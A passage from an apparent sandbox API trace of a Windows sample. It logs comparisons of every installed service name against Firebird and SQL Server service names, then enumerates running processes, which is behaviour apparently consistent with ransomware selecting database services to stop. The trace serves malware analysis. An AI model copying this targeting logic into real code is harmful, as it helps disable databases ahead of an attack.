(lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0210.318] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0210.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0210.318] lstrlenW (lpString="DcomLaunch") returned 10 [0210.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.318] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0210.318] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0210.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0210.319] lstrlenW (lpString="DeviceAssociationService") returned 24 [0210.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0210.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0210.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0210.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0210.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0210.319] lstrlenW (lpString="Dhcp") returned 4 [0210.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0210.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0210.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0210.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0210.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0210.319] lstrlenW (lpString="Dnscache") returned 8 [0210.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0210.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0210.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0210.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0210.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0210.319] lstrlenW (lpString="DPS") returned 3 [0210.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0210.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0210.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0210.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0210.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0210.319] lstrlenW (lpString="DusmSvc") returned 7 [0210.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0210.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0210.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0210.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0210.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0210.319] lstrlenW (lpString="EventLog") returned 8 [0210.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0210.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0210.320] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0210.320] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0210.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0210.320] lstrlenW (lpString="EventSystem") returned 11 [0210.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0210.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0210.320] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0210.320] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0210.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0210.320] lstrlenW (lpString="FontCache") returned 9 [0210.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0210.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0210.320] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0210.320] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0210.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0210.320] lstrlenW (lpString="gpsvc") returned 5 [0210.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0210.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0210.320] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0210.320] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0210.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0210.320] lstrlenW (lpString="iphlpsvc") returned 8 [0210.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0210.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0210.320] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0210.320] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0210.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0210.320] lstrlenW (lpString="KeyIso") returned 6 [0210.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0210.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0210.320] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0210.320] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0210.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0210.320] lstrlenW (lpString="LanmanServer") returned 12 [0210.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0210.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0210.321] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0210.321] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0210.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0210.321] lstrlenW (lpString="LanmanWorkstation") returned 17 [0210.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0210.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0210.321] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0210.321] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0210.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0210.321] lstrlenW (lpString="lfsvc") returned 5 [0210.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0210.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0210.321] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0210.321] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0210.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0210.321] lstrlenW (lpString="lmhosts") returned 7 [0210.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0210.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0210.321] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0210.321] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0210.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0210.321] lstrlenW (lpString="LSM") returned 3 [0210.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0210.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0210.321] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0210.321] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0210.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0210.321] lstrlenW (lpString="MpsSvc") returned 6 [0210.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0210.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0210.321] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0210.321] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0210.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0210.322] lstrlenW (lpString="NcbService") returned 10 [0210.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0210.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0210.322] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0210.322] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0210.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0210.322] lstrlenW (lpString="netprofm") returned 8 [0210.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0210.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0210.322] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0210.322] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0210.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0210.322] lstrlenW (lpString="NgcSvc") returned 6 [0210.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0210.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0210.322] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0210.322] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0210.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0210.322] lstrlenW (lpString="NlaSvc") returned 6 [0210.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0210.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0210.322] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0210.322] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0210.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0210.322] lstrlenW (lpString="nsi") returned 3 [0210.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0210.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0210.322] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0210.322] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0210.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0210.322] lstrlenW (lpString="PcaSvc") returned 6 [0210.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0210.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0210.323] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0210.323] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0210.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0210.323] lstrlenW (lpString="PlugPlay") returned 8 [0210.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0210.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0210.323] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0210.323] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0210.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0210.323] lstrlenW (lpString="Power") returned 5 [0210.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0210.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0210.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0210.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0210.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0210.323] lstrlenW (lpString="ProfSvc") returned 7 [0210.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0210.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0210.323] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0210.323] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0210.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0210.323] lstrlenW (lpString="RpcEptMapper") returned 12 [0210.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.323] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0210.323] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0210.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0210.323] lstrlenW (lpString="RpcSs") returned 5 [0210.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0210.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0210.323] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0210.323] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0210.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0210.324] lstrlenW (lpString="SamSs") returned 5 [0210.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0210.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0210.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0210.324] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0210.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0210.324] lstrlenW (lpString="Schedule") returned 8 [0210.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0210.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0210.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0210.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0210.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0210.324] lstrlenW (lpString="SecurityHealthService") returned 21 [0210.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0210.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0210.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0210.324] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0210.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0210.324] lstrlenW (lpString="SENS") returned 4 [0210.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0210.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0210.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0210.324] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0210.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0210.324] lstrlenW (lpString="ShellHWDetection") returned 16 [0210.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.324] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0210.324] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0210.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0210.324] lstrlenW (lpString="Spooler") returned 7 [0210.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0210.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0210.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0210.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0210.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0210.325] lstrlenW (lpString="StateRepository") returned 15 [0210.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0210.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0210.325] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0210.325] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0210.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0210.325] lstrlenW (lpString="SysMain") returned 7 [0210.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0210.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0210.325] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0210.325] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0210.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0210.325] lstrlenW (lpString="SystemEventsBroker") returned 18 [0210.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0210.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0210.325] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0210.325] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0210.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0210.325] lstrlenW (lpString="Themes") returned 6 [0210.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0210.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0210.325] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0210.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0210.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0210.325] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0210.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0210.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0210.325] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0210.325] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0210.326] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0210.339] Process32FirstW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.339] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0210.340] lstrlenW (lpString="System") returned 6 [0210.340] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0210.340] lstrlenW (lpString="smss.exe") returned 8 [0210.340] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.341] lstrlenW (lpString="csrss.exe") returned 9 [0210.341] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0210.341] lstrlenW (lpString="wininit.exe") returned 11 [0210.341] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.342] lstrlenW (lpString="csrss.exe") returned 9 [0210.342] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0210.342] lstrlenW (lpString="winlogon.exe") returned 12 [0210.342] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0210.342] lstrlenW (lpString="services.exe") returned 12 [0210.342] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0210.343] lstrlenW (lpString="lsass.exe") returned 9 [0210.343] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0210.343] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0210.343] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0210.344] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0210.344] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.344] lstrlenW (lpString="svchost.exe") returned 11 [0210.344] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.345] lstrlenW (lpString="svchost.exe") returned 11 [0210.345] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0210.345] lstrlenW (lpString="dwm.exe") returned 7 [0210.345] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.346] lstrlenW (lpString="svchost.exe") returned 11 [0210.346] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.346] lstrlenW (lpString="svchost.exe") returned 11 [0210.346] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.346] lstrlenW (lpString="svchost.exe") returned 11 [0210.346] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.347] lstrlenW (lpString="svchost.exe") returned 11 [0210.347] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.347] lstrlenW (lpString="svchost.exe") returned 11 [0210.347] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.348] lstrlenW (lpString="svchost.exe") returned 11 [0210.348] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, 